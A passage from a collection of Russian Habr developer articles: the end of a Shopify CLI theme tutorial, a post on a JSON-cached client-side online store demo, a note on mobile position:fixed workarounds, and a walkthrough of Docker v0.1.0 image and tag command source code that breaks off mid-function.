Эта команда создает веб-сервер и вы сможете работать с локальной темой без влияния на опубликованную тему. Запускаем команду и ждем. После успешного выполнения команды вы увидите следующее:
Теперь по адресу [http://127.0.0.1:9292](http://127.0.0.1:9292/password?_fd=0) мы сможем посмотреть на наш магазин.
Работает!Чтобы остановить просмотр темы, нажмите в терминале CTRL + C.
После внесения изменений в локальной теме, вы можете опубликовать их в вашу тему. Для этого введите команду:
```
shopify theme push
```
Вас также спросят, в какую тему загружать файлы, выбирайте внимательно. Я один раз попался.
#### Список команд
`shopify whoami` - узнать в каком магазине вы находитесь
`shopify version` - посмотреть текущую версию Shopify CLI на вашем компьютере
`shopify theme list` - посмотреть список тем в вашем магазине
`shopify switch --store storeurl.myshopify.com` - переключение между магазинами, которые находятся в вашей партнерской организации
`shopify populate customers` l `draftorders` l `products` - добавление покупателей, черновых заказов, продуктов
`shopify logout` - выход из магазина
Это не весь список доступных команд, для просмотра всех команд, введите в терминале `shopify --help`.
### Расширения VS Code для работы с Шопифай темами
В процессе работы у вас может появиться мысль, что чего-то хватает. VS Code не понимает, что за файлы открыты, не подсказывает и вообще ничего не делает. Есть несколько плагинов, которые возможно упростят вашу работу. Лично я разницы не заметил, либо уже забыл как было до этого. Чтобы посмотреть какие доступны плагины введите **Shopify** или **liquid** в поиске расширений.
### Минусы работы в VS Code с Shopify
1. Невозможность перехода по включенным файлам, как в редакторе Шопифай (даже с кучей расширений);
Теперь сравним этот же фрагмент с редактором кода Shopify
2. При пуше темы слетают кастомные секции. Если вы долго с ней работаете и вам нужно проверять как она выглядит, может занять какое-то количество времени чтобы добавить в секцию контент. Скорее всего, секция не включена в стандартные секции темы и поэтому ее нужно будет постоянно добавлять после пуша. Можно конечно её добавить в список секций и тогда проблема должна быть решена.
Заключение
----------
Шопифай на территории России не очень популярен, поэтому если вы хотите работать Shopify разработчиком в России, вам будет сложно найти заказы на русских фриланс площадках. Но Shopify очень популярен по всему миру. Поэтому знания Английского + знания Shopify платформы откроют большие границы. Но так как сейчас западные фриланс площадки закрылись, вы можете устроиться Shopify разработчиком в компанию, получать бесценный опыт работы и оттачивать навыки.
В Shopify есть огромный потенциал как для бизнеса, так и для разработчика. Как минимум [Hydrogen](https://hydrogen.shopify.dev/). Это React-based фреймворк на котором можно делать динамические магазины. | https://habr.com/ru/post/663844/ | null | ru | null |
# Знакомьтесь, Интернет-магазин 2.0 — RIA
Как повысить скорость, юзабилити и user experience посетителей вашего интернет-магазина?
— Сделать его RIA! (Rich Internet Application)
Работая над очередным проектом — веб-модулем для CRM заказчика, я искал способ быстрого поиска и фильтрации данных (увеличения которых не предполагалось более чем на 500 в год). Я сделал 10000 демо-записей в БД и работал с ними. Первое, что мы сделали — это AJAX поиск — быстро, не перезагружает каркас страницы -, в целом, подходящий вариант.
Однако, мне в голову пришла ещё одна идея — почему бы не загрузить данные в виде json массива?
В итоге вес 10к записей получился около 1мб, а передаваемых данных — 80кб (gzip 9 nginx). Скорость поиска по массиву в кэше — менее 10мс. И ещё огромный плюс — файлы json **кэшируются браузером**. Т.е. при перезагрузке страницы данные читаются из кэша моментально, на сервер идёт лишь запрос if-modified-since и получает ответ 304.
Естественно, встаёт вопрос: при изменении одной записи — перезагружать заново все 10к записей?
Решение тривиально: данные делятся на несколько файлов — от редко меняющихся до часто.
В демке я попробовал такое разделение на примере ноутбуков (о демке ниже) (500+ записей):
`... data = [
"notebooks1.json" // 18кб - редко меняющиеся данные - описание товара
"notebooks2.json" // 4кб - рейтинг, отзывы, статус
"notebooks3.json" // 2кб - цены
"notebooks4.json" // 2кб - наличие на складе
]`
При загрузке, те данные, которые изменены — загружаются, остальные берутся из кэша.
*(в текущей демке я убрал это, т.к. ещё нужно было писать синхронизацию файлов — это уже для продакшена)*
Паралельно, я искал себе новые комплектующие в интернет-магазине Ситилинк *(не пеар! просто хороший интернет-магазин — выступил в качестве «донора» данных :)* — отличный дизайн и юзабилити. Но то, что страничка постоянно перезагружалась при сортировке или применении фильтра — удручало.
Я решил попробовать применить концепт с загрузкой и обработкой данных (функциональность) на стороне клиента и к интернет-магазину.
Естественно, делать прелоад всех данных не надо :) Но, по мере захода в разделы — вполне — как собственно и реализовано в демке.
Что из этого получилось вы можете посмотреть:
1. Зайдите в **[оригинальный интернет-магазин](http://www.citilink.ru/catalog/parts/)**, поиграйтесь с сортировкой, фильтрами и т.п. — субъективно запомните скорость от отклика до отображения данных.
2. Сравните скорость в **[демке интернет-магазина (RIA)](http://sandbox.tematico.ru/citilink/)** (функционал реализован исключительно на стороне клиента с помощью javascript+jquery. Nginx отдаёт только статику. Никаких php, apache, mysql и т.п.).
Субъективно, скорость работы в браузерах от «очень быстро» до «нормально»: Chrome, Opera 10.5+, FF 3+, IE8/7.
Безусловно, такая реализация RIA не для крупных интернет-магазинов и это не замена стандартной модели запрос-ответ-генерация странички, в первую очередь из-за поисковых систем и сео, но её можно активировать, в случае использования посетителем современного браузера.
Если у вас небольшой/средний интернет-магазин, вы вполне можете попробовать добавить клиент-сайд RIA-функциональность.
Да, это дополнительный объём работы, практически дубляж функционала динамики серверсайда на клиентской части.
RIA-вариант не является необходимостью, это скорее имиджевый ход, демонстрация использования cutting-edge technologies. Если бы мой любимый компьютерный интернет-магазин дал мне возможность пользоваться им в RIA-варианте, его бы акции сильно подросли в моих глазах.
> На заметку: на западе, многие мастодонты онлайн-бизнеса и не только делают версии своих сервисов под iPhone и iPad — а на разработку под эти платформы требуются не малые деньги ([от 15-50к до 500к+ $$](http://stackoverflow.com/questions/209170/how-much-does-it-cost-to-develop-an-iphone-application)). По-вашему, имиджевое это только решение?
Стоит ли оно того? Уверен, ваши прогрессивные посетители ответят — безусловно!
***Эта демка — всего-лишь демонстрация подхода. Далеко не всё реализовано, но реализуемо.***
*P.S. Отдельно спасибо хабраюзеру [lafayette](https://habr.com/ru/users/lafayette/) за предоставленный сервер для демки.* | https://habr.com/ru/post/109019/ | null | ru | null |
# Мобильные устройства, position: fixed; и во что это выливается
По ходу [редизайна блога](http://blog.romanliutikov.com/) появилось желание создать *'Scroll to Top'* функцию не только для десктопа, но и для мобильных устройств. В связи с небольшим свободным пространством на экране смартфона было решено сделать кнопку возвращения на верх в виде полоски высотой в *20px* прикрепленную к нижней границе экрана. Код довольно простой:
```
$('body').append("Scroll To Top"); // Создаем элемент на странице
$(window).scroll( function() {
if ( $(this).scrollTop() > $(window).height() ) { // Если длина прокрутки страницы больше высоты экрана, то...
$('.scroll-to-top-mobile').fadeIn(); // Показать кнопку
} else { // Если нет, то...
$('.scroll-to-top-mobile').fadeOut(); // Скрыть кнопку
}
});
$('.scroll-to-top-mobile').on('click', function() {
$('html, body').animate({scrollTop : 0}, 800); // По клику на кнопку прокручиваем страницу вверх
return false;
});
```
```
.scroll-to-top-mobile {
width: 100%;
height: 20px;
background: #e6e6e6;
border-top: 1px solid #ddd;
position: fixed; /* Фиксированное размещение кнопки в окне, позиция не меняется относительно окна во время прокрутки страницы */
bottom: 0; /* Прижимаем к нижнему краю окна */
z-index: 9999; /* Поднимаем кнопку над всеми элементами страницы */
text-align: center;
display: none; /* Изначально кнопку не видно */
cursor: pointer;
font-size: 12px;
}
```
На десктопе работает отлично, но во время тестирования на Android 2.3 оказалось, что *position: fixed;* не работает, элемент позиционируется абсолютно. Немного поискав выяснилось, что фиксированное позиционирование не поддерживается в iOS до 5й версии и в Android до 3й версии. О поддержке остальными браузерами пишут [здесь](http://bradfrostweb.com/blog/mobile/fixed-position/).
Там же говорят о том, что Android 2.3 можно научить понимать данное свойство с помощью медиа запроса:
```
@viewport {
user-zoom: fixed;
}
```
Или используя meta-тег:
```
```
Эта функция отключает возможность масштабирования страницы.
Теперь, без возможности зума документа актуальным становится вопрос о читаемости текста на экрана смартфона. Визуальный размер текста на экране десктопа отличается от размера на экране смартфона, подробнее об это [здесь](http://habrahabr.ru/post/145619/). Т.к. блог полностью построен по технике RWD, то делать отдельную версию для телефонов не имеет смысла. Здесь может помочь идентифицирование мобильных устройств с помощь медиа запроса *device-aspect-ratio*. Эта функция позволяет применять содержащийся в ней CSS только на устройствах с заданным соотношением сторон. На iPhone этот показатель равен 1.5, на Android 1.3 — 1.5. Таким образом можно определить нужные нам устройства и задать для них оптимальный размер шрифта на странице:
```
@media all and (max-device-aspect-ratio: 1.5) {
body {
font-size: 16px;
line-height: 1.4em;
}
}
```
Или с помощью meta-тега:
```
```
Протестировав новые настройки на своем Android 2.3 я обнаружил, что параметры заданные с помощью медиа запроса вступают в силу только после перезагрузки страницы, а иногда и не одной. Здесь на помощь пришло [замечательное решение](http://www.paykin.info/java/android-css-media-reloading/) стоимостью в несколько строк *JS* кода. Мы можем [определить мобильное устройство с помощью простого скрипта](http://localstreamer.posterous.com/javascript-code-snippet-how-to-detect-all-mob):
```
// Определяем устройство
var mobile = (/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase()));
if(mobile){
// Создаем ссылку на CSS
var cssLink = document.createElement("link");
cssLink.setAttribute("type", "text/css");
cssLink.setAttribute("rel", "stylesheet");
cssLink.setAttribute("href", "css/mobile.css");
document.head.appendChild(cssLink);
}
```
*navigator.userAgent* возвращает строку User-Agent'а, дальше мы ищем в ней название одного из указанных устройств. Если такое имеется, то создаем для него ссылку на *CSS* файл содержащий нужные нам параметры для адаптирования текста под мобильный экран. Правда из-за того, что скрипт срабатывает только после загрузки документа, параметры из подключенного *CSS* вступают в силу через 1 — 1.5 секунды.
Так вот простая функция 'Scroll to Top' тянет за собой череду проблем, благо решение для каждой из них есть.
#### Ссылки
* [Список браузеров поддерживающих *position: fixed;*](http://bradfrostweb.com/blog/mobile/fixed-position/)
* [Определение мобильного устройства с помощью *JS*](http://localstreamer.posterous.com/javascript-code-snippet-how-to-detect-all-mob)
* [Создание ссылки на *CSS* с помощью *JS*](http://www.paykin.info/java/android-css-media-reloading/) | https://habr.com/ru/post/146049/ | null | ru | null |
# Эволюция Docker. Часть 2.2
Вступление
----------
Данная статья является третьей в цикле ([1](https://habr.com/ru/post/573828/),[2](https://habr.com/ru/post/574750/)), посвященном изучению исходного кода Docker и прямым продолжением [предыдущей статьи](https://habr.com/ru/post/574750/), в которой мы начали разбирать код первого публичного релиза Docker v0.1.0. В этой части будет рассмотрена реализация практически всех команд, а в конце, мы создадим образ и запустим докер контейнер на его основе. Для удобства я постарался разбить список команд на условные группы: работа с образами, работа с контейнерами, сетевой стек и т.д.
А теперь, как говорится, “without further ado”, приступим к изучению кода из файла commands.go начиная с команд для управления образами (images).
### Управление образами
#### Import
Команда import позволяет импортировать образ файловой системы из tar архива, подаваемого на stdin, или же загрузить его по url:
CmdImport
```
func (srv *Server) CmdImport(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
cmd := rcli.Subcmd(stdout, "import", "[OPTIONS] URL|- [REPOSITORY [TAG]]", "Create a new filesystem image from the contents of a tarball")
var archive io.Reader
var resp *http.Response
if err := cmd.Parse(args); err != nil {
return nil
}
src := cmd.Arg(0)
if src == "" {
return errors.New("Not enough arguments")
} else if src == "-" {
archive = stdin
} else {
u, err := url.Parse(src)
if err != nil {
return err
}
if u.Scheme == "" {
u.Scheme = "http"
u.Host = src
u.Path = ""
}
fmt.Fprintf(stdout, "Downloading from %s\n", u.String())
// Download with curl (pretty progress bar)
// If curl is not available, fallback to http.Get()
resp, err = Download(u.String(), stdout)
if err != nil {
return err
}
archive = ProgressReader(resp.Body, int(resp.ContentLength), stdout)
}
img, err := srv.runtime.graph.Create(archive, nil, "Imported from "+src)
if err != nil {
return err
}
// Optionally register the image at REPO/TAG
if repository := cmd.Arg(1); repository != "" {
tag := cmd.Arg(2) // Repository will handle an empty tag properly
if err := srv.runtime.repositories.Set(repository, tag, img.Id, true); err != nil {
return err
}
}
fmt.Fprintln(stdout, img.Id)
return nil
}
```
После стандартного разбора аргументов функция определяет место откуда нужно импортировать образ: "-" означает stdin, в другом случае аргумент рассматривается, как url. Хелпер методы Download и ProgressReader для загрузки архива по http находятся в файле utils.go:
utils.go
```
// Request a given URL and return an io.Reader
func Download(url string, stderr io.Writer) (*http.Response, error) {
var resp *http.Response
var err error = nil
if resp, err = http.Get(url); err != nil {
return nil, err
}
if resp.StatusCode >= 400 {
return nil, errors.New("Got HTTP status code >= 400: " + resp.Status)
}
return resp, nil
}
type progressReader struct {
reader io.ReadCloser // Stream to read from
output io.Writer // Where to send progress bar to
read_total int // Expected stream length (bytes)
read_progress int // How much has been read so far (bytes)
last_update int // How many bytes read at least update
}
func (r *progressReader) Read(p []byte) (n int, err error) {
read, err := io.ReadCloser(r.reader).Read(p)
r.read_progress += read
// Only update progress for every 1% read
update_every := int(0.01 * float64(r.read_total))
if r.read_progress-r.last_update > update_every || r.read_progress == r.read_total {
fmt.Fprintf(r.output, "%d/%d (%.0f%%)\r",
r.read_progress,
r.read_total,
float64(r.read_progress)/float64(r.read_total)*100)
r.last_update = r.read_progress
}
// Send newline when complete
if err == io.EOF {
fmt.Fprintf(r.output, "\n")
}
return read, err
}
func (r *progressReader) Close() error {
return io.ReadCloser(r.reader).Close()
}
func ProgressReader(r io.ReadCloser, size int, output io.Writer) *progressReader {
return &progressReader{r, output, size, 0, 0}
}
```
Далее управление переходит в функцию graph.Create из файла graph.go:
graph.Create
```
func (graph *Graph) Create(layerData Archive, container *Container, comment string) (*Image, error) {
img := &Image{
Id: GenerateId(),
Comment: comment,
Created: time.Now(),
}
if container != nil {
img.Parent = container.Image
img.Container = container.Id
img.ContainerConfig = *container.Config
}
if err := graph.Register(layerData, img); err != nil {
return nil, err
}
return img, nil
}
```
Здесь генерируется уникальный идентификатор образа и инициализируется структура Image, которая далее вместе с данными архива передается в метод graph.Register. Если дополнительно передан и контейнер, то ссылка на его образ будет сохранена в поле img.Parent - это используется в команде Commit, создающей новый образ из текущего контейнера. Структура Image и функции для генерации Id на основе SHA256 находятся в файле image.go:
image.go
```
type Image struct {
Id string `json:"id"`
Parent string `json:"parent,omitempty"`
Comment string `json:"comment,omitempty"`
Created time.Time `json:"created"`
Container string `json:"container,omitempty"`
ContainerConfig Config `json:"container_config,omitempty"`
graph *Graph
}
func GenerateId() string {
// FIXME: don't seed every time
rand.Seed(time.Now().UTC().UnixNano())
randomBytes := bytes.NewBuffer([]byte(fmt.Sprintf("%x", rand.Int())))
id, _ := ComputeId(randomBytes) // can't fail
return id
}
// ComputeId reads from `content` until EOF, then returns a SHA of what it read, as a string.
func ComputeId(content io.Reader) (string, error) {
h := sha256.New()
if _, err := io.Copy(h, content); err != nil {
return "", err
}
return fmt.Sprintf("%x", h.Sum(nil)[:8]), nil
}
```
Далее взглянем на метод graph.Register:
graph.Register
```
func (graph *Graph) Register(layerData Archive, img *Image) error {
if err := ValidateId(img.Id); err != nil {
return err
}
// (This is a convenience to save time. Race conditions are taken care of by os.Rename)
if graph.Exists(img.Id) {
return fmt.Errorf("Image %s already exists", img.Id)
}
tmp, err := graph.Mktemp(img.Id)
defer os.RemoveAll(tmp)
if err != nil {
return fmt.Errorf("Mktemp failed: %s", err)
}
if err := StoreImage(img, layerData, tmp); err != nil {
return err
}
// Commit
if err := os.Rename(tmp, graph.imageRoot(img.Id)); err != nil {
return err
}
img.graph = graph
return nil
}
```
После валидации id на наличие запрещенного символа ":" (так как он является разделителем для тега), создается временная папка для модификаций, а затем вызывается функция StoreImage, в которой происходит создание образа. По завершению временная папка переименовывается в img.Id:
StoreImage
```
func StoreImage(img *Image, layerData Archive, root string) error {
// Check that root doesn't already exist
if _, err := os.Stat(root); err == nil {
return fmt.Errorf("Image %s already exists", img.Id)
} else if !os.IsNotExist(err) {
return err
}
// Store the layer
layer := layerPath(root)
if err := os.MkdirAll(layer, 0700); err != nil {
return err
}
if err := Untar(layerData, layer); err != nil {
return err
}
// Store the json ball
jsonData, err := json.Marshal(img)
if err != nil {
return err
}
if err := ioutil.WriteFile(jsonPath(root), jsonData, 0600); err != nil {
return err
}
return nil
}
func layerPath(root string) string {
return path.Join(root, "layer")
}
func jsonPath(root string) string {
return path.Join(root, "json")
}
```
В StoreImage создается директория layer, в которую помещается распакованный при помощи функции Untar архив файловой системы, после чего структура Image экспортируется в json и сохраняется в соседний файл, как метаданные для образа. Функции Tar и Untar для работы с архивами находятся в файле archive.go и представляют собой лишь удобные обертки над утилитой bsdtar:
archive.go
```
type Archive io.Reader
type Compression uint32
const (
Uncompressed Compression = iota
Bzip2
Gzip
)
func (compression *Compression) Flag() string {
switch *compression {
case Bzip2:
return "j"
case Gzip:
return "z"
}
return ""
}
func Tar(path string, compression Compression) (io.Reader, error) {
cmd := exec.Command("bsdtar", "-f", "-", "-C", path, "-c"+compression.Flag(), ".")
return CmdStream(cmd)
}
func Untar(archive io.Reader, path string) error {
cmd := exec.Command("bsdtar", "-f", "-", "-C", path, "-x")
cmd.Stdin = archive
output, err := cmd.CombinedOutput()
if err != nil {
return errors.New(err.Error() + ": " + string(output))
}
return nil
}
func CmdStream(cmd *exec.Cmd) (io.Reader, error) {
stdout, err := cmd.StdoutPipe()
if err != nil {
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
return nil, err
}
pipeR, pipeW := io.Pipe()
go func() {
_, err := io.Copy(pipeW, stdout)
if err != nil {
pipeW.CloseWithError(err)
}
errText, e := ioutil.ReadAll(stderr)
if e != nil {
errText = []byte("(...couldn't fetch stderr: " + e.Error() + ")")
}
if err := cmd.Wait(); err != nil {
// FIXME: can this block if stderr outputs more than the size of StderrPipe()'s buffer?
pipeW.CloseWithError(errors.New(err.Error() + ": " + string(errText)))
} else {
pipeW.Close()
}
}()
if err := cmd.Start(); err != nil {
return nil, err
}
return pipeR, nil
}
```
Отметим, что функция import также может сохранять tag образа, принимая его опциональным параметром, но этот функционал мы рассмотрим позже, когда до него дойдет очередь.
#### Export
Команда export возвращает экспортированный архив файловой системы контейнера:
CmdExport
```
func (srv *Server) CmdExport(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
cmd := rcli.Subcmd(stdout,
"export", "CONTAINER",
"Export the contents of a filesystem as a tar archive")
if err := cmd.Parse(args); err != nil {
return nil
}
name := cmd.Arg(0)
if container := srv.runtime.Get(name); container != nil {
data, err := container.Export()
if err != nil {
return err
}
// Stream the entire contents of the container (basically a volatile snapshot)
if _, err := io.Copy(stdout, data); err != nil {
return err
}
return nil
}
return errors.New("No such container: " + name)
}
func (container *Container) Export() (Archive, error) {
if err := container.EnsureMounted(); err != nil {
return nil, err
}
return Tar(container.RootfsPath(), Uncompressed)
}
```
Функция по переданному имени получает контейнер и вызывает у него метод container.Export, который в свою очередь просто возвращает созданный архив, смонтированной директории Rootfs. Код функции Tar был приведен выше в файле archive.go.
#### Rmi
Удаляет переданный список образов, вызывая метод graph.Delete:
graph.Delete
```
func (srv *Server) CmdRmi(stdin io.ReadCloser, stdout io.Writer, args ...string) (err error) {
cmd := rcli.Subcmd(stdout, "rmimage", "[OPTIONS] IMAGE", "Remove an image")
if cmd.Parse(args) != nil || cmd.NArg() < 1 {
cmd.Usage()
return nil
}
for _, name := range cmd.Args() {
if err := srv.runtime.graph.Delete(name); err != nil {
return err
}
}
return nil
}
func (graph *Graph) Delete(id string) error {
garbage, err := graph.Garbage()
if err != nil {
return err
}
return os.Rename(graph.imageRoot(id), garbage.imageRoot(id))
}
func (graph *Graph) Garbage() (*Graph, error) {
return NewGraph(path.Join(graph.Root, ":garbage:"))
}
```
В реальности, graph.Delete перемещает их в папку :garbage:, для возможности последующего восстановления, но данная функция здесь не используется.
#### Images
Возвращает таблицу со списком имеющихся образов:
CmdImages
```
func (srv *Server) CmdImages(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
cmd := rcli.Subcmd(stdout, "images", "[OPTIONS] [NAME]", "List images")
//limit := cmd.Int("l", 0, "Only show the N most recent versions of each image")
quiet := cmd.Bool("q", false, "only show numeric IDs")
fl_a := cmd.Bool("a", false, "show all images")
if err := cmd.Parse(args); err != nil {
return nil
}
if cmd.NArg() > 1 {
cmd.Usage()
return nil
}
var nameFilter string
if cmd.NArg() == 1 {
nameFilter = cmd.Arg(0)
}
w := tabwriter.NewWriter(stdout, 20, 1, 3, ' ', 0)
if !*quiet {
fmt.Fprintf(w, "REPOSITORY\tTAG\tID\tCREATED\tPARENT\n")
}
var allImages map[string]*Image
var err error
if *fl_a {
allImages, err = srv.runtime.graph.Map()
} else {
allImages, err = srv.runtime.graph.Heads()
}
if err != nil {
return err
}
for name, repository := range srv.runtime.repositories.Repositories {
if nameFilter != "" && name != nameFilter {
continue
}
for tag, id := range repository {
image, err := srv.runtime.graph.Get(id)
if err != nil {
log.Printf("Warning: couldn't load %s from %s/%s: %s", id, name, tag, err)
continue
}
delete(allImages, id)
if !*quiet {
for idx, field := range []string{
/* REPOSITORY */ name,
/* TAG */ tag,
/* ID */ id,
/* CREATED */ HumanDuration(time.Now().Sub(image.Created)) + " ago",
/* PARENT */ srv.runtime.repositories.ImageName(image.Parent),
} {
if idx == 0 {
w.Write([]byte(field))
} else {
w.Write([]byte("\t" + field))
}
}
w.Write([]byte{'\n'})
} else {
stdout.Write([]byte(image.Id + "\n"))
}
}
}
// Display images which aren't part of a
if nameFilter == "" {
for id, image := range allImages {
if !*quiet {
for idx, field := range []string{
/* REPOSITORY */ "",
/* TAG */ "",
/* ID */ id,
/* CREATED */ HumanDuration(time.Now().Sub(image.Created)) + " ago",
/* PARENT */ srv.runtime.repositories.ImageName(image.Parent),
} {
if idx == 0 {
w.Write([]byte(field))
} else {
w.Write([]byte("\t" + field))
}
}
w.Write([]byte{'\n'})
} else {
stdout.Write([]byte(image.Id + "\n"))
}
}
}
if !*quiet {
w.Flush()
}
return nil
}
```
В функции происходит простая итерация по полученным образам, фильтрация на основе имени репозитория и вывод полей в консольную таблицу. Map, Head и вспомогательные к ним функции, формирующие хеш таблицы allImages, находятся в файле graph.go:
graph.go
```
func (graph *Graph) Map() (map[string]*Image, error) {
// FIXME: this should replace All()
all, err := graph.All()
if err != nil {
return nil, err
}
images := make(map[string]*Image, len(all))
for _, image := range all {
images[image.Id] = image
}
return images, nil
}
func (graph *Graph) All() ([]*Image, error) {
var images []*Image
err := graph.WalkAll(func(image *Image) {
images = append(images, image)
})
return images, err
}
func (graph *Graph) WalkAll(handler func(*Image)) error {
files, err := ioutil.ReadDir(graph.Root)
if err != nil {
return err
}
for _, st := range files {
if img, err := graph.Get(st.Name()); err != nil {
// Skip image
continue
} else if handler != nil {
handler(img)
}
}
return nil
}
func (graph *Graph) ByParent() (map[string][]*Image, error) {
byParent := make(map[string][]*Image)
err := graph.WalkAll(func(image *Image) {
image, err := graph.Get(image.Parent)
if err != nil {
return
}
if children, exists := byParent[image.Parent]; exists {
byParent[image.Parent] = []*Image{image}
} else {
byParent[image.Parent] = append(children, image)
}
})
return byParent, err
}
func (graph *Graph) Heads() (map[string]*Image, error) {
heads := make(map[string]*Image)
byParent, err := graph.ByParent()
if err != nil {
return nil, err
}
err = graph.WalkAll(func(image *Image) {
// If it's not in the byParent lookup table, then
// it's not a parent -> so it's a head!
if _, exists := byParent[image.Id]; !exists {
heads[image.Id] = image
}
})
return heads, err
}
```
#### History
Отображает историю образа:
CmdHistory
```
func (srv *Server) CmdHistory(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
cmd := rcli.Subcmd(stdout, "history", "[OPTIONS] IMAGE", "Show the history of an image")
if cmd.Parse(args) != nil || cmd.NArg() != 1 {
cmd.Usage()
return nil
}
image, err := srv.runtime.repositories.LookupImage(cmd.Arg(0))
if err != nil {
return err
}
w := tabwriter.NewWriter(stdout, 20, 1, 3, ' ', 0)
defer w.Flush()
fmt.Fprintf(w, "ID\tCREATED\tCREATED BY\n")
return image.WalkHistory(func(img *Image) error {
fmt.Fprintf(w, "%s\t%s\t%s\n",
srv.runtime.repositories.ImageName(img.Id),
HumanDuration(time.Now().Sub(img.Created))+" ago",
strings.Join(img.ContainerConfig.Cmd, " "),
)
return nil
})
}
func (img *Image) WalkHistory(handler func(*Image) error) (err error) {
currentImg := img
for currentImg != nil {
if handler != nil {
if err := handler(currentImg); err != nil {
return err
}
}
currentImg, err = currentImg.GetParent()
if err != nil {
return fmt.Errorf("Error while getting parent image: %v", err)
}
}
return nil
}
func (img *Image) GetParent() (*Image, error) {
if img.Parent == "" {
return nil, nil
}
if img.graph == nil {
return nil, fmt.Errorf("Can't lookup parent of unregistered image")
}
return img.graph.Get(img.Parent)
}
```
После получения структуры образа по переданному имени вызывается метод image.WalkHistory, который по цепочке обходит родительские образы, используя сохраненные ссылки Image.Parent, и выводит информацию в виде таблицы.
#### Commit
Создает новый образ на основе измененных данных файловой системы контейнера:
CmdCommit
```
func (srv *Server) CmdCommit(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
cmd := rcli.Subcmd(stdout,
"commit", "[OPTIONS] CONTAINER [REPOSITORY [TAG]]",
"Create a new image from a container's changes")
if err := cmd.Parse(args); err != nil {
return nil
}
containerName, repository, tag := cmd.Arg(0), cmd.Arg(1), cmd.Arg(2)
if containerName == "" {
cmd.Usage()
return nil
}
img, err := srv.runtime.Commit(containerName, repository, tag)
if err != nil {
return err
}
fmt.Fprintln(stdout, img.Id)
return nil
}
// Commit creates a new filesystem image from the current state of a container.
// The image can optionally be tagged into a repository
func (runtime *Runtime) Commit(id, repository, tag string) (*Image, error) {
container := runtime.Get(id)
if container == nil {
return nil, fmt.Errorf("No such container: %s", id)
}
// FIXME: freeze the container before copying it to avoid data corruption?
// FIXME: this shouldn't be in commands.
rwTar, err := container.ExportRw()
if err != nil {
return nil, err
}
// Create a new image from the container's base layers + a new layer from container changes
img, err := runtime.graph.Create(rwTar, container, "")
if err != nil {
return nil, err
}
// Register the image if needed
if repository != "" {
if err := runtime.repositories.Set(repository, tag, img.Id, true); err != nil {
return img, err
}
}
return img, nil
}
```
Метод Commit получает структуру container по переданному имени, вызывает метод container.ExportRw, который возвращает архив с директорией rw, после чего передает его в метод graph.Create, который мы уже разбирали выше. Если передано имя репозитория и tag, то дополнительно будет создан tag образа. Этот функционал будет разобран ниже в команде Tag.
#### Tag
Функция создает tag образа в локальном репозитории. Используется при импортировании образа и коммите контейнера:
CmdTag
```
func (srv *Server) CmdTag(stdin io.ReadCloser, stdout io.Writer, args ...string) error {
cmd := rcli.Subcmd(stdout, "tag", "[OPTIONS] IMAGE REPOSITORY [TAG]", "Tag an image into a repository")
force := cmd.Bool("f", false, "Force")
if err := cmd.Parse(args); err != nil {
return nil
}
if cmd.NArg() < 2 {
cmd.Usage()
return nil
}
return srv.runtime.repositories.Set(cmd.Arg(1), cmd.Arg(2), cmd.Arg(0), *force)
}
```
После обработки параметров вызывается метод repositories.Set из файла tags.go. Ниже я приведу содержание файла tags.go, который отвечает за весь этот функционал. Общий принцип работы довольно простой - структура TagStore имеет хеш таблицу(map) для соответствия тегов и образов. При добавлении нового тега он проходит валидацию на запрещенные символы и записывается в хеш таблицу. Далее структура TagStore экспортируется в json и сохраняется в файле на диске. При запуске докер структура загружается из этого файла и в дальнейшем на ее основе осуществляется поиск и фильтрация образов по именам и тегам:
tags.go
```
const DEFAULT_TAG = "latest"
type TagStore struct {
path string
graph *Graph
Repositories map[string]Repository
}
type Repository map[string]string
func NewTagStore(path string, graph *Graph) (*TagStore, error) {
abspath, err := filepath.Abs(path)
if err != nil {
return nil, err
}
store := &TagStore{
path: abspath,
graph: graph,
Repositories: make(map[string]Repository),
}
// Load the json file if it exists, otherwise create it.
if err := store.Reload(); os.IsNotExist(err) {
if err := store.Save(); err != nil {
return nil, err
}
} else if err != nil {
return nil, err
}
return store, nil
}
func (store *TagStore) Save() error {
// Store the json ball
jsonData, err := json.Marshal(store)
if err != nil {
return err
}
if err := ioutil.WriteFile(store.path, jsonData, 0600); err != nil {
return err
}
return nil
}
func (store *TagStore) Reload() error {
jsonData, err := ioutil.ReadFile(store.path)
if err != nil {
return err
}
if err := json.Unmarshal(jsonData, store); err != nil {
return err
}
return nil
}
func (store *TagStore) LookupImage(name string) (*Image, error) {
img, err := store.graph.Get(name)
if err != nil {
// FIXME: standardize on returning nil when the image doesn't exist, and err for everything else
// (so we can pass all errors here)
repoAndTag := strings.SplitN(name, ":", 2)
if len(repoAndTag) == 1 {
repoAndTag = append(repoAndTag, DEFAULT_TAG)
}
if i, err := store.GetImage(repoAndTag[0], repoAndTag[1]); err != nil {
return nil, err
} else if i == nil {
return nil, fmt.Errorf("No such image: %s", name)
} else {
img = i
}
}
return img, nil
}
// Return a reverse-lookup table of all the names which refer to each image
// Eg. {"43b5f19b10584": {"base:latest", "base:v1"}}
func (store *TagStore) ById() map[string][]string {
byId := make(map[string][]string)
for repoName, repository := range store.Repositories {
for tag, id := range repository {
name := repoName + ":" + tag
if _, exists := byId[id]; !exists {
byId[id] = []string{name}
} else {
byId[id] = append(byId[id], name)
}
}
}
return byId
}
func (store *TagStore) ImageName(id string) string {
if names, exists := store.ById()[id]; exists && len(names) > 0 {
return names[0]
}
return id
}
func (store *TagStore) Set(repoName, tag, imageName string, force bool) error {
img, err := store.LookupImage(imageName)
if err != nil {
return err
}
if tag == "" {
tag = DEFAULT_TAG
}
if err := validateRepoName(repoName); err != nil {
return err
}
if err := validateTagName(tag); err != nil {
return err
}
if err := store.Reload(); err != nil {
return err
}
var repo Repository
if r, exists := store.Repositories[repoName]; exists {
repo = r
} else {
repo = make(map[string]string)
if old, exists := store.Repositories[repoName]; exists && !force {
return fmt.Errorf("Tag %s:%s is already set to %s", repoName, tag, old)
}
store.Repositories[repoName] = repo
}
repo[tag] = img.Id
return store.Save()
}
func (store *TagStore) Get(repoName string) (Repository, error) {
if err := store.Reload(); err != nil {
return nil, err
}
if r, exists := store.Repositories[repoName]; exists {
return r, nil
}
